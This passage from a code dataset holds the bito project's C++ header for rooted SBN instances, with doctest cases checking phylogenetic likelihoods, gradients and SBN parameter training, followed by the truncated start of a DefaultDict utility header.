| false
| false
| false
| false
| false
|
1,532,094
|
rooted_sbn_instance.hpp
|
phylovi_bito/src/rooted_sbn_instance.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include "csv.hpp"
#include "generic_sbn_instance.hpp"
#include "phylo_flags.hpp"
#include "rooted_gradient_transforms.hpp"
#include "rooted_sbn_support.hpp"
using PreRootedSBNInstance = GenericSBNInstance<RootedTreeCollection, RootedSBNSupport,
RootedIndexerRepresentation>;
template class GenericSBNInstance<RootedTreeCollection, RootedSBNSupport,
RootedIndexerRepresentation>;
class RootedSBNInstance : public PreRootedSBNInstance {
public:
using PreRootedSBNInstance::PreRootedSBNInstance;
// ** SBN-related items
// Turn an IndexerRepresentation into a string representation of the underlying
// bitsets. This is really just so that we can make a test of indexer
// representations.
StringSet StringIndexerRepresentationOf(
const RootedIndexerRepresentation& indexer_representation) const;
StringSet StringIndexerRepresentationOf(const Node::NodePtr& topology,
size_t out_of_sample_index) const;
// Make a map from each subsplit to its overall probability when we sample a tree from
// the SBN.
BitsetDoubleMap UnconditionalSubsplitProbabilities() const;
void UnconditionalSubsplitProbabilitiesToCSV(const std::string& csv_path) const;
// ** Phylogenetic likelihood
std::vector<double> LogLikelihoods(
std::optional<PhyloFlags> external_flags = std::nullopt);
template <class VectorType>
std::vector<double> LogLikelihoods(const VectorType& flag_vec,
const bool is_run_defaults);
std::vector<double> UnrootedLogLikelihoods();
std::vector<double> LogDetJacobianHeightTransform();
std::vector<PhyloGradient> PhyloGradients(
std::optional<PhyloFlags> external_flags = std::nullopt);
template <class VectorType>
std::vector<PhyloGradient> PhyloGradients(const VectorType& flag_vec,
const bool is_run_defaults);
std::vector<DoubleVector> GradientLogDeterminantJacobian();
// ** I/O
void ReadNewickFile(const std::string& fname, const bool sort_taxa = true);
void ReadNexusFile(const std::string& fname, const bool sort_taxa = true);
void SetDatesToBeConstant(bool initialize_time_trees_using_branch_lengths);
void ParseDatesFromTaxonNames(bool initialize_time_trees_using_branch_lengths);
void ParseDatesFromCSV(const std::string& csv_path,
bool initialize_time_trees_using_branch_lengths);
};
#ifdef DOCTEST_LIBRARY_INCLUDED
#include "doctest_constants.hpp"
// Centered finite difference approximation of the derivative wrt rate.
std::vector<double> DerivativeStrictClock(RootedSBNInstance& inst) {
double eps = 0.00000001;
std::vector<double> rates;
std::vector<double> gradients;
for (auto& tree : inst.tree_collection_.trees_) {
rates.push_back(tree.rates_[0]);
tree.rates_.assign(tree.rates_.size(), rates.back() - eps);
}
auto lm = inst.LogLikelihoods();
int i = 0;
for (auto& tree : inst.tree_collection_.trees_) {
tree.rates_.assign(tree.rates_.size(), rates[i++] + eps);
}
auto lp = inst.LogLikelihoods();
for (size_t index = 0; index < lm.size(); index++) {
gradients.push_back((lp[index] - lm[index]) / (2. * eps));
}
return gradients;
}
// Centered finite difference approximation of the derivative wrt to each rate.
std::vector<std::vector<double>> DerivativeRelaxedClock(RootedSBNInstance& inst) {
double eps = 0.00000001;
std::vector<std::vector<double>> gradients;
std::vector<double> lp;
std::vector<double> lm;
size_t edge_count = inst.TaxonCount() * 2 - 2;
for (size_t index = 0; index < edge_count; index++) {
std::vector<double> gradient;
std::vector<double> rates;
for (size_t i = 0; i < inst.tree_collection_.TreeCount(); i++) {
double value = inst.tree_collection_.trees_[i].rates_[index];
rates.push_back(value);
inst.tree_collection_.trees_[i].rates_[index] = rates.back() - eps;
}
lm = inst.LogLikelihoods();
for (size_t i = 0; i < inst.tree_collection_.TreeCount(); i++) {
inst.tree_collection_.trees_[i].rates_[index] = rates[i] + eps;
}
lp = inst.LogLikelihoods();
for (size_t i = 0; i < inst.tree_collection_.TreeCount(); i++) {
inst.tree_collection_.trees_[i].rates_[index] = rates[i];
gradient.push_back((lp[i] - lm[i]) / (2. * eps));
}
gradients.push_back(gradient);
}
return gradients;
}
RootedSBNInstance MakeFiveTaxonRootedInstance() {
RootedSBNInstance inst("charlie");
inst.ReadNewickFile("data/five_taxon_rooted.nwk", false);
inst.ProcessLoadedTrees();
return inst;
}
TEST_CASE("RootedSBNInstance: subsplit support and TrainSimpleAverage") {
auto inst = MakeFiveTaxonRootedInstance();
auto pretty_indexer = inst.PrettyIndexer();
StringSet pretty_indexer_set{pretty_indexer.begin(), pretty_indexer.end()};
// The indexer_ is to index the sbn_parameters_. Note that neither of these
// data structures attempt to catalog the complete collection of rootsplits or
// PCSPs, but just those that are present in the the input trees.
//
// The indexer_ and sbn_parameters_ are laid out as follows (I'll just call it
// the "index" in what follows). Say there are rootsplit_count rootsplits in
// the support.
// The first rootsplit_count entries of the index are assigned to the
// rootsplits (again, those rootsplits that are present for some rooting of
// the unrooted input trees). The rest of the entries of the index are laid out as
// blocks of parameters for PCSPs that share the same parent. Take a look at the
// description of PCSP bitsets (and the unit tests) in bitset.hpp to understand the
// notation used here.
//
// In contrast to the unrooted case, we can write out the pretty indexer here and
// verify it by hand. There is the block structure in which the two children of
// 10000|01111 are grouped together.
StringSet correct_pretty_indexer_set{
"00000|11111|00111", // ((x0,x1),(x2,(x3,x4)))
"00000|11111|01111", // (x0,(((x1,x3),x2),x4)) and ((x1,((x2,x4),x3)),x0)
"00000|11111|00010", // (x3,((x0,(x4,x1)),x2))
"00100|01010|00010", // ((x1,x3),x2)
"00111|11000|01000", // ((x0,x1),(x2,(x3,x4)))
"00100|00011|00001", // (x2,(x3,x4))
"11000|00111|00011", // ((x0,x1),(x2,(x3,x4)))
"00100|11001|01001", // ((x0,(x4,x1)),x2)
"10000|01001|00001", // (x0,(x4,x1))
"01000|00111|00010", // (x1,((x2,x4),x3))
"10000|01111|00001", // (x0,(((x1,x3),x2),x4))
"10000|01111|00111", // ((x1,((x2,x4),x3)),x0)
"00010|00101|00001", // ((x2,x4),x3)
"00001|01110|00100", // (((x1,x3),x2),x4)
"00010|11101|00100" // (x3,((x0,(x4,x1)),x2))
};
CHECK_EQ(pretty_indexer_set, correct_pretty_indexer_set);
// Test of rooted IndexerRepresentationOf.
// Topology is ((0,1),(2,(3,4)));, or with internal nodes ((0,1)5,(2,(3,4)6)7)8;
auto indexer_test_rooted_topology = Node::OfParentIdVector({5, 5, 7, 6, 6, 8, 7, 8});
auto correct_rooted_indexer_representation =
StringSet({"00000|11111|00111", "11000|00111|00011", "00100|00011|00001",
"00111|11000|01000"});
CHECK_EQ(inst.StringIndexerRepresentationOf(indexer_test_rooted_topology,
out_of_sample_index),
correct_rooted_indexer_representation);
inst.TrainSimpleAverage();
StringVector correct_taxon_names({"x0", "x1", "x2", "x3", "x4"});
CHECK_EQ(inst.SBNSupport().TaxonNames(), correct_taxon_names);
StringDoubleVector correct_parameters({{"00000|11111|00111", 0.25},
{"00000|11111|01111", 0.5},
{"00000|11111|00010", 0.25},
{"00100|01010|00010", 1},
{"00111|11000|01000", 1},
{"00100|00011|00001", 1},
{"11000|00111|00011", 1},
{"00100|11001|01001", 1},
{"10000|01001|00001", 1},
{"01000|00111|00010", 1},
{"10000|01111|00001", 0.5},
{"10000|01111|00111", 0.5},
{"00010|00101|00001", 1},
{"00001|01110|00100", 1},
{"00010|11101|00100", 1}});
std::sort(correct_parameters.begin(), correct_parameters.end());
auto parameters = inst.PrettyIndexedSBNParameters();
std::sort(parameters.begin(), parameters.end());
CHECK_EQ(correct_parameters.size(), parameters.size());
for (size_t i = 0; i < correct_parameters.size(); i++) {
CHECK_EQ(correct_parameters[i].first, parameters[i].first);
CHECK_LT(fabs(correct_parameters[i].second - parameters[i].second), 1e-8);
}
}
TEST_CASE("RootedSBNInstance: UnconditionalSubsplitProbabilities") {
RootedSBNInstance inst("rooted instance");
inst.ReadNewickFile("data/five_taxon_rooted_more.nwk", false);
inst.ProcessLoadedTrees();
inst.TrainSimpleAverage();
// See diagram at https://github.com/phylovi/bito/issues/349#issuecomment-898022916
// Numbering in comments is... node: subsplit.
StringDoubleMap correct_parameters({{"1100000111", 0.5}, // 10: 01|234
{"1000001111", 0.3}, // 15: 0|1234
{"1110100010", 0.2}, // 19: 0124|3
{"1100100100", 0.2}, // 18: 014|2
{"0100000111", 0.1}, // 14: 1|234
{"0111000001", 0.2}, // 13: 123|4
{"0101000100", 0.2}, // 12: 13|2
{"1000001001", 0.2}, // 17: 0|14
{"0010000011", 0.4}, // 8: 2|34
{"0011000001", 0.2}, // 6: 23|4
{"1000001000", 0.5}, // 9: 0|1
{"0100000010", 0.2}, // 11: 1|3
{"0100000001", 0.2}, // 16: 1|4
{"0010000010", 0.2}, // 5: 2|3
{"0001000001", 0.4}} // 7: 3|4
);
auto subsplit_probabilities = inst.UnconditionalSubsplitProbabilities();
CHECK_EQ(correct_parameters.size(), subsplit_probabilities.size());
for (const auto& [subsplit, probability] : subsplit_probabilities) {
CHECK_LT(fabs(correct_parameters.at(subsplit.ToString()) - probability), 1e-8);
}
}
// Instance SA-trained on a sample of 20-taxon trees.
RootedSBNInstance MakeRootedSimpleAverageInstance() {
RootedSBNInstance inst("rooted instance");
inst.ReadNewickFile("data/rooted_simple_average.nwk", false);
inst.ProcessLoadedTrees();
inst.TrainSimpleAverage();
return inst;
}
TEST_CASE("RootedSBNInstance: TrainSimpleAverage on 20 taxa") {
auto inst = MakeRootedSimpleAverageInstance();
auto results = inst.PrettyIndexedSBNParameters();
// Values confirmed with
// https://github.com/mdkarcher/vbsupertree/commit/b7f87f711e8a1044b7c059b5a92e94c117d8cee1
auto correct_map =
CSV::StringDoubleMapOfCSV("data/rooted_simple_average_results.csv");
for (const auto& [found_string, found_probability] : results) {
CHECK(fabs(found_probability - correct_map.at(found_string)) < 1e-6);
}
}
RootedSBNInstance MakeFluInstance(bool initialize_time_trees) {
RootedSBNInstance inst("charlie");
inst.ReadNewickFile("data/fluA.tree", false);
inst.ParseDatesFromTaxonNames(initialize_time_trees);
inst.ReadFastaFile("data/fluA.fa");
PhyloModelSpecification simple_specification{"JC69", "constant", "strict"};
inst.PrepareForPhyloLikelihood(simple_specification, 1);
return inst;
}
TEST_CASE("RootedSBNInstance: gradients") {
auto inst = MakeFluInstance(true);
for (auto& tree : inst.tree_collection_.trees_) {
tree.rates_.assign(tree.rates_.size(), 0.001);
}
auto likelihood = inst.LogLikelihoods();
double physher_ll = -4777.616349;
double physher_jacobian = -9.25135166;
double physher_ll_jacobian = physher_ll + physher_jacobian;
CHECK_LT(fabs(likelihood[0] - physher_ll_jacobian), 0.0001);
auto gradients = inst.PhyloGradients();
std::vector<double> physher_gradients = {
-0.593654, 6.441290, 11.202945, 5.173924, -0.904631, 2.731402, 3.157131,
7.082914, 10.305417, 13.988206, 20.709336, 48.897993, 99.164949, 130.205747,
17.314019, 21.033290, -1.336335, 12.259822, 22.887291, 27.176564, 47.487426,
3.637276, 12.955169, 15.315953, 83.254605, -3.806996, 105.385095, 4.874023,
22.754466, 6.036534, 25.651478, 29.535185, 29.598789, 1.817247, 10.598685,
76.259248, 56.481423, 10.679778, 6.587179, 3.330556, -4.622247, 33.417304,
63.415767, 188.809515, 23.540875, 17.421076, 1.222568, 22.372012, 34.239511,
3.486115, 4.098873, 13.200954, 19.726890, 96.808738, 4.240029, 7.414585,
48.871694, 3.488516, 82.969065, 9.009334, 8.032474, 3.981016, 6.543650,
53.702423, 37.835952, 2.840831, 7.517186, 19.936861};
for (size_t i = 0; i < physher_gradients.size(); i++) {
CHECK_LT(fabs(gradients[0].gradient_[PhyloGradient::ratios_root_height_key_][i] -
physher_gradients[i]),
0.0001);
}
CHECK_LT(fabs(gradients[0].log_likelihood_ - physher_ll), 0.0001);
}
TEST_CASE("RootedSBNInstance: clock gradients") {
auto inst = MakeFluInstance(true);
for (auto& tree : inst.tree_collection_.trees_) {
tree.rates_.assign(tree.rates_.size(), 0.001);
}
auto likelihood = inst.LogLikelihoods();
double physher_ll = -4777.616349;
double physher_jacobian = -9.25135166;
double physher_ll_jacobian = physher_ll + physher_jacobian;
CHECK_LT(fabs(likelihood[0] - physher_ll_jacobian), 0.0001);
// Gradient with a strict clock.
auto gradients_strict = inst.PhyloGradients();
std::vector<double> gradients_strict_approx = DerivativeStrictClock(inst);
CHECK_LT(fabs(gradients_strict[0].gradient_[PhyloGradient::clock_model_key_][0] -
gradients_strict_approx[0]),
0.001);
CHECK_LT(fabs(gradients_strict[0].log_likelihood_ - physher_ll), 0.001);
// Gradient with a "relaxed" clock.
auto& tree = inst.tree_collection_.trees_[0];
// Make a clock with some rate variation.
for (size_t i = 0; i < tree.rates_.size(); i++) {
tree.rates_[i] *= i % 3 + 1.0;
}
tree.rate_count_ = tree.rates_.size();
auto gradients_relaxed = inst.PhyloGradients();
auto gradients_relaxed_approx = DerivativeRelaxedClock(inst);
for (size_t j = 0; j < gradients_relaxed_approx.size(); j++) {
CHECK_LT(fabs(gradients_relaxed[0].gradient_[PhyloGradient::clock_model_key_][j] -
gradients_relaxed_approx[j][0]),
0.001);
}
}
TEST_CASE("RootedSBNInstance: GTR gradients") {
auto inst = MakeFluInstance(true);
PhyloModelSpecification gtr_specification{"GTR", "constant", "strict"};
inst.PrepareForPhyloLikelihood(gtr_specification, 1);
for (auto& tree : inst.tree_collection_.trees_) {
tree.rates_.assign(tree.rates_.size(), 0.001);
}
auto param_block_map = inst.GetPhyloModelParamBlockMap();
EigenVectorXdRef frequencies = param_block_map.at(GTRModel::frequencies_key_);
EigenVectorXdRef rates = param_block_map.at(GTRModel::rates_key_);
frequencies << 0.1, 0.2, 0.3, 0.4;
rates << 0.05, 0.1, 0.15, 0.20, 0.25, 0.25;
auto likelihood = inst.LogLikelihoods();
double phylotorch_ll = -5221.438941335706;
double physher_jacobian = -9.25135166;
double expected_ll_jacobian = phylotorch_ll + physher_jacobian;
CHECK_LT(fabs(likelihood[0] - expected_ll_jacobian), 0.001);
auto gradients = inst.PhyloGradients();
std::vector<double> phylotorch_gradients = {49.06451538, 151.83105912, 26.40235659,
-8.25135661, 75.29759338, 352.56545247,
90.07046995, 30.12301652};
for (size_t i = 0; i < phylotorch_gradients.size(); i++) {
CHECK_LT(fabs(gradients[0].gradient_[PhyloGradient::substitution_model_key_][i] -
phylotorch_gradients[i]),
0.001);
}
CHECK_LT(fabs(gradients[0].log_likelihood_ - phylotorch_ll), 0.001);
}
TEST_CASE("RootedSBNInstance: HKY gradients") {
auto inst = MakeFluInstance(true);
PhyloModelSpecification specification{"HKY", "constant", "strict"};
inst.PrepareForPhyloLikelihood(specification, 1);
for (auto& tree : inst.tree_collection_.trees_) {
tree.rates_.assign(tree.rates_.size(), 0.001);
}
auto param_block_map = inst.GetPhyloModelParamBlockMap();
EigenVectorXdRef frequencies =
param_block_map.at(SubstitutionModel::frequencies_key_);
EigenVectorXdRef rates = param_block_map.at(SubstitutionModel::rates_key_);
frequencies << 0.1, 0.2, 0.3, 0.4;
rates << 3.0;
auto likelihood = inst.LogLikelihoods();
double phylotorch_ll = -4931.770106816288;
double physher_jacobian = -9.25135166;
double expected_ll_jacobian = phylotorch_ll + physher_jacobian;
CHECK_LT(fabs(expected_ll_jacobian - likelihood[0]), 0.001);
auto gradients = inst.PhyloGradients();
std::vector<double> phylotorch_gradients = {18.218397759598506, 309.56536079428355,
47.15713892857574, 42.98132033283943};
for (size_t i = 0; i < phylotorch_gradients.size(); i++) {
CHECK_LT(
fabs(gradients[0].gradient_["substitution_model"][i] - phylotorch_gradients[i]),
0.001);
}
CHECK_LT(fabs(phylotorch_ll - gradients[0].log_likelihood_), 0.0001);
}
TEST_CASE("RootedSBNInstance: Weibull gradients") {
auto inst = MakeFluInstance(true);
PhyloModelSpecification weibull_specification{"JC69", "weibull+4", "strict"};
inst.PrepareForPhyloLikelihood(weibull_specification, 1);
for (auto& tree : inst.tree_collection_.trees_) {
tree.rates_.assign(tree.rates_.size(), 0.001);
}
auto param_block_map = inst.GetPhyloModelParamBlockMap();
param_block_map.at(WeibullSiteModel::shape_key_).setConstant(0.1);
auto likelihood = inst.LogLikelihoods();
double physher_ll = -4618.2062529058;
double physher_jacobian = -9.25135166;
double physher_ll_jacobian = physher_ll + physher_jacobian;
CHECK_LT(fabs(likelihood[0] - physher_ll_jacobian), 0.0001);
// Gradient wrt Weibull site model.
auto gradients = inst.PhyloGradients();
double physher_gradient = -5.231329;
CHECK_LT(fabs(gradients[0].gradient_["site_model"][0] - physher_gradient), 0.001);
CHECK_LT(fabs(gradients[0].log_likelihood_ - physher_ll), 0.001);
}
TEST_CASE("RootedSBNInstance: parsing dates") {
RootedSBNInstance inst("charlie");
inst.ReadNexusFile("data/test_beast_tree_parsing.nexus", false);
inst.ParseDatesFromTaxonNames(true);
std::vector<double> dates;
for (const auto& [tag, date] : inst.tree_collection_.GetTagDateMap()) {
std::ignore = tag;
dates.push_back(date);
}
std::sort(dates.begin(), dates.end());
CHECK_EQ(dates[0], 0);
CHECK_EQ(dates.back(), 80.0);
RootedSBNInstance alt_inst("betty");
alt_inst.ReadNexusFile("data/test_beast_tree_parsing.nexus", false);
alt_inst.tree_collection_.ParseDatesFromCSV("data/test_beast_tree_parsing.csv", true);
CHECK_EQ(inst.tree_collection_.GetTagDateMap(),
alt_inst.tree_collection_.GetTagDateMap());
}
TEST_CASE("RootedSBNInstance: uninitialized time trees raise an exception") {
auto inst = MakeFluInstance(false);
CHECK_THROWS(inst.PhyloGradients());
}
TEST_CASE("RootedSBNInstance: reading SBN parameters from a CSV") {
auto inst = MakeFiveTaxonRootedInstance();
inst.ReadSBNParametersFromCSV("data/test_modifying_sbn_parameters.csv");
auto pretty_indexer = inst.PrettyIndexer();
auto gpcsp_it =
std::find(pretty_indexer.begin(), pretty_indexer.end(), "10000|01111|00001");
CHECK(gpcsp_it != pretty_indexer.end());
auto gpcsp_idx = std::distance(pretty_indexer.begin(), gpcsp_it);
CHECK_LT(fabs(inst.sbn_parameters_[gpcsp_idx] - log(0.15)), 1e-8);
inst.SetSBNParameters({}, false);
CHECK_EQ(inst.sbn_parameters_[gpcsp_idx], DOUBLE_MINIMUM);
CHECK_THROWS(inst.SetSBNParameters({{"10000|01111|00001", -5.}}, false));
}
TEST_CASE("RootedSBNInstance: SBN parameter round trip") {
std::string csv_test_file_path = "_ignore/for_sbn_parameter_round_trip.csv";
auto inst = MakeRootedSimpleAverageInstance();
auto original_normalized_sbn_parameters = inst.NormalizedSBNParameters();
inst.SBNParametersToCSV(csv_test_file_path);
inst.ReadSBNParametersFromCSV(csv_test_file_path);
auto reloaded_normalized_sbn_parameters = inst.NormalizedSBNParameters();
CheckVectorXdEquality(original_normalized_sbn_parameters,
reloaded_normalized_sbn_parameters, 1e-6);
}
TEST_CASE("RootedSBNInstance: BuildCollectionByDuplicatingFirst") {
auto empty_collection = RootedTreeCollection();
CHECK_THROWS(empty_collection.BuildCollectionByDuplicatingFirst(5));
auto inst = MakeFiveTaxonRootedInstance();
auto trees = inst.tree_collection_.BuildCollectionByDuplicatingFirst(5);
CHECK_EQ(trees.GetTree(0), trees.GetTree(1));
// Check that the trees don't refer to the same place in memory.
CHECK_NE(&trees.GetTree(0), &trees.GetTree(1));
inst = MakeFluInstance(true);
auto& base_flu_tree = inst.tree_collection_.GetTree(0);
trees = inst.tree_collection_.BuildCollectionByDuplicatingFirst(5);
CHECK_EQ(base_flu_tree, trees.GetTree(1));
}
TEST_CASE("RootedSBNInstance: PhyloFlags for Gradient Requests") {
// GP Instance default output for gradients.
auto CreateNewInstance = []() {
auto inst = MakeFluInstance(true);
PhyloModelSpecification gtr_specification{"GTR", "constant", "strict"};
inst.PrepareForPhyloLikelihood(gtr_specification, 1);
for (auto& tree : inst.tree_collection_.trees_) {
tree.rates_.assign(tree.rates_.size(), 0.001);
}
auto param_block_map = inst.GetPhyloModelParamBlockMap();
EigenVectorXdRef frequencies = param_block_map.at(GTRModel::frequencies_key_);
EigenVectorXdRef rates = param_block_map.at(GTRModel::rates_key_);
frequencies << 0.1, 0.2, 0.3, 0.4;
rates << 0.05, 0.1, 0.15, 0.20, 0.25, 0.25;
return inst;
};
// "Golden" instance for determining correctness.
auto gold_inst = CreateNewInstance();
auto gold_likelihoods = gold_inst.LogLikelihoods();
auto gold_gradients = gold_inst.PhyloGradients();
size_t num_trees = gold_inst.tree_collection_.trees_.size();
using FlagMap = std::map<PhyloFlagOption, PhyloMapkey>;
using FlagVector = std::vector<PhyloFlagOption>;
using MapkeyVector = std::vector<PhyloMapkey>;
// Split map into keys and values.
auto SplitMapIntoKeysAndValues =
[](const FlagMap& map) -> std::pair<FlagVector, MapkeyVector> {
FlagVector keys;
MapkeyVector values;
for (const auto& [key, value] : map) {
keys.push_back(key);
values.push_back(value);
}
return std::make_pair(keys, values);
};
// Iterate through all flag combinations.
auto IterateOverAllCombinations =
[](FlagMap& all_flags_mapkeys, FlagVector& all_flags,
std::function<void(FlagMap&, FlagMap&, FlagMap&, bool)> func) {
size_t num_flags = all_flags_mapkeys.size();
size_t num_combinations = pow(2, num_flags);
for (size_t i = 0; i < num_combinations; i++) {
FlagMap used_flags_mapkeys, unused_flags_mapkeys;
// Split between groups of used and unused flags.
for (size_t j = 1, k = 0; j < num_combinations; j <<= 1, k += 1) {
if ((j & i)) {
used_flags_mapkeys.insert(*all_flags_mapkeys.find(all_flags[k]));
} else {
unused_flags_mapkeys.insert(*all_flags_mapkeys.find(all_flags[k]));
}
}
func(used_flags_mapkeys, unused_flags_mapkeys, all_flags_mapkeys, false);
func(used_flags_mapkeys, unused_flags_mapkeys, all_flags_mapkeys, true);
}
};
// Test that expected flagged keys are populated with correct data,
// and that unflagged keys are not stored in map.
auto ComparePhyloGradients =
[&CreateNewInstance, &gold_gradients, &SplitMapIntoKeysAndValues, &num_trees](
FlagMap& used_flags_mapkeys, FlagMap& unused_flags_mapkeys,
FlagMap& all_flags, bool pass_externally = false) {
// Create instance and run phylogradients with used_flags.
auto inst = CreateNewInstance();
const auto [used_flags, used_mapkeys] =
SplitMapIntoKeysAndValues(used_flags_mapkeys);
const auto [unused_flags, unused_mapkeys] =
SplitMapIntoKeysAndValues(unused_flags_mapkeys);
std::ignore = unused_flags;
std::vector<PhyloGradient> gradients;
// pass flags via external arguments
if (pass_externally) {
PhyloFlags phylo_flags;
for (const auto& flag : used_flags) {
phylo_flags.SetFlag(flag);
}
phylo_flags.SetRunDefaultsFlag(false);
gradients = inst.PhyloGradients(phylo_flags);
}
// pass flags via internal instance
else {
inst.MakePhyloFlags();
auto& flags = inst.GetPhyloFlags();
for (const auto& flag : used_flags) {
flags.SetFlag(flag);
}
flags.SetRunDefaultsFlag(false);
gradients = inst.PhyloGradients();
flags.ClearFlags();
}
// Check that used fields are keyed and populated correctly.
for (size_t i = 0; i < num_trees; i++) {
auto& grad_map = gradients[i].gradient_;
auto& gold_grad_map = gold_gradients[i].gradient_;
// Check used fields are not properly populated.
for (const auto& used_mapkey : used_mapkeys) {
CHECK_MESSAGE(grad_map.find(used_mapkey.GetKey()) != grad_map.end(),
"grad_map does not have a key that should exist.");
auto& gold_grad_data = gold_grad_map[used_mapkey.GetKey()];
auto& grad_data = grad_map[used_mapkey.GetKey()];
DoubleVector abs_diff = DoubleVector(gold_grad_data.size());
std::transform(gold_grad_data.begin(), gold_grad_data.end(),
grad_data.begin(), abs_diff.begin(),
[](const double a, const double b) { return abs(a - b); });
double max_diff = *std::max_element(abs_diff.begin(), abs_diff.end());
CHECK_MESSAGE(max_diff < 0.01,
"gold_grad_map and grad_map did not produce the same data "
"for the same flag.");
}
// Check unused fields are not populated.
for (const auto& unused_mapkey : unused_mapkeys) {
CHECK_MESSAGE(grad_map.find(unused_mapkey.GetKey()) == grad_map.end(),
"grad_map has a key that should not exist.");
}
}
};
// Test gradient "include" options.
// Pairs of input flags to output mapkeys.
FlagMap gradient_flags_mapkeys;
gradient_flags_mapkeys.insert(
{PhyloGradientFlagOptions::clock_model_, PhyloGradientMapkeys::clock_model_});
gradient_flags_mapkeys.insert({PhyloGradientFlagOptions::ratios_root_height_,
PhyloGradientMapkeys::ratios_root_height_});
gradient_flags_mapkeys.insert({PhyloGradientFlagOptions::substitution_model_,
PhyloGradientMapkeys::substitution_model_});
gradient_flags_mapkeys.insert({PhyloGradientFlagOptions::substitution_model_,
PhyloGradientMapkeys::substitution_model_rates_});
gradient_flags_mapkeys.insert(
{PhyloGradientFlagOptions::substitution_model_,
PhyloGradientMapkeys::substitution_model_frequencies_});
auto gradient_flags = SplitMapIntoKeysAndValues(gradient_flags_mapkeys).first;
IterateOverAllCombinations(gradient_flags_mapkeys, gradient_flags,
ComparePhyloGradients);
// Test likelihood "exclude" options.
auto LikelihoodExcludeLogDeterminant = [&CreateNewInstance, &gold_likelihoods]() {
auto inst = CreateNewInstance();
StringBoolVector flag_vector = {
{LogLikelihoodFlagOptions::include_log_det_jacobian_likelihood_.GetFlag(),
false}};
auto flags = PhyloFlags(flag_vector, true);
double likelihood_exclude_log_det = inst.LogLikelihoods(flags)[0];
double log_det = RootedGradientTransforms::LogDetJacobianHeightTransform(
inst.tree_collection_.trees_[0]);
double gold_likelihood = gold_likelihoods[0];
CHECK_MESSAGE(
gold_likelihood != likelihood_exclude_log_det,
"LogLikelihood should not be equal to (LogLikelihoodExcludingLogdet.");
CHECK_MESSAGE(gold_likelihood == (likelihood_exclude_log_det + log_det),
"LogLikelihood should be equal to (LogLikelihoodExcludingLogdet + "
"LogDetJacobianHeightTransform.");
};
LikelihoodExcludeLogDeterminant();
// Test gradient "exclude" options.
auto GradientExcludeLogDeterminant = [&CreateNewInstance, &gold_gradients]() {
auto inst = CreateNewInstance();
StringBoolVector flag_vector = {
{PhyloGradientFlagOptions::include_log_det_jacobian_gradient_.GetFlag(),
false}};
auto flags = PhyloFlags(flag_vector, true);
GradientMap grad_map = inst.PhyloGradients(flags)[0].gradient_;
DoubleVector exclude_log_det =
grad_map[PhyloGradientMapkeys::ratios_root_height_.GetKey()];
DoubleVector log_det = RootedGradientTransforms::GradientLogDeterminantJacobian(
inst.tree_collection_.trees_[0]);
DoubleVector include_log_det =
gold_gradients[0].gradient_[PhyloGradientMapkeys::ratios_root_height_.GetKey()];
double max_diff;
DoubleVector abs_diff = DoubleVector(include_log_det.size());
std::transform(include_log_det.begin(), include_log_det.end(),
exclude_log_det.begin(), abs_diff.begin(),
[](const double a, const double b) { return abs(a - b); });
max_diff = *std::max_element(abs_diff.begin(), abs_diff.end());
CHECK_MESSAGE(max_diff > 0.01,
"Gradient should not be equal to GradientExcludingLogDet.");
DoubleVector exclude_log_det_plus_log_det = DoubleVector(include_log_det.size());
std::transform(exclude_log_det.begin(), exclude_log_det.end(), log_det.begin(),
exclude_log_det_plus_log_det.begin(),
[](const double a, const double b) { return a + b; });
std::transform(include_log_det.begin(), include_log_det.end(),
exclude_log_det_plus_log_det.begin(), abs_diff.begin(),
[](const double a, const double b) { return abs(a - b); });
max_diff = *std::max_element(abs_diff.begin(), abs_diff.end());
CHECK_MESSAGE(max_diff < 0.01,
"Gradient should be equal to (GradientExcludingLogdet + "
"GradientLogDetJacobian).");
};
GradientExcludeLogDeterminant();
// Test gradient "set" options.
auto GradientSetDelta = [&CreateNewInstance, &gold_gradients]() {
std::ignore = gold_gradients;
auto inst = CreateNewInstance();
StringDoubleVector flag_vector = {
{PhyloGradientFlagOptions::set_gradient_delta_.GetFlag(), 1.0e1}};
auto flags = PhyloFlags(flag_vector, true);
GradientMap grad_map = inst.PhyloGradients(flags)[0].gradient_;
DoubleVector subst_grad =
grad_map[PhyloGradientMapkeys::substitution_model_.GetKey()];
// delta = 1.0e-6 (default)
DoubleVector gold_subst_grad_1e6 = {49.0649, 151.831, 26.4022, -8.25114,
75.2975, 352.565, 90.0701, 30.1228};
// delta = 1.0e1
DoubleVector gold_subst_grad_1e1 = {-73.2611, 25.4074, -33.2865, -54.0479,
47.9938, -2696.06, -84.2954, 6.0563};
DoubleVector abs_diff = DoubleVector(subst_grad.size());
std::transform(subst_grad.begin(), subst_grad.end(), gold_subst_grad_1e1.begin(),
abs_diff.begin(),
[](const double a, const double b) { return abs(a - b); });
double max_diff = *std::max_element(abs_diff.begin(), abs_diff.end());
CHECK_MESSAGE(max_diff < 0.01,
"Delta value set by flag did not result in correct gradient values.");
};
GradientSetDelta();
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 32,907
|
C++
|
.h
| 645
| 43.195349
| 93
| 0.654944
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,095
|
default_dict.hpp
|
phylovi_bito/src/default_dict.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <iostream>
#include <unordered_map>
#include <utility>
#include "sugar.hpp"
template <class Key, class T>
class DefaultDict {
public:
using iterator = typename std::unordered_map<Key, T>::iterator;
using const_iterator = typename std::unordered_map<Key, T>::const_iterator;
explicit DefaultDict(T default_value) : default_value_(default_value) {}
size_t size() const { return map_.size(); }
iterator begin() { return map_.begin(); }
iterator end() { return map_.end(); }
// Range-based for loops use const begin rather than cbegin.
// https://stackoverflow.com/a/45732500/467327
const_iterator begin() const { return map_.begin(); }
const_iterator end() const { return map_.end(); }
std::unordered_map<Key, T> Map() const { return map_; }
T at(const Key &key) { return AtWithDefault(map_, key, default_value_); }
bool contains(const Key &key) const { return (map_.find(key) != map_.end()); }
void increment(const Key &key, const T &value) {
auto search = map_.find(key);
if (search == map_.end()) {
SafeInsert(map_, key, value);
} else {
search->second += value;
}
}
void increment(Key &&key, T value) {
auto search = map_.find(key);
if (search == map_.end()) {
SafeInsert(map_, key, value);
} else {
search->second += value;
}
}
void print() const {
std::cout << "Default value: " << default_value_ << std::endl;
for (const auto &iter : map_) {
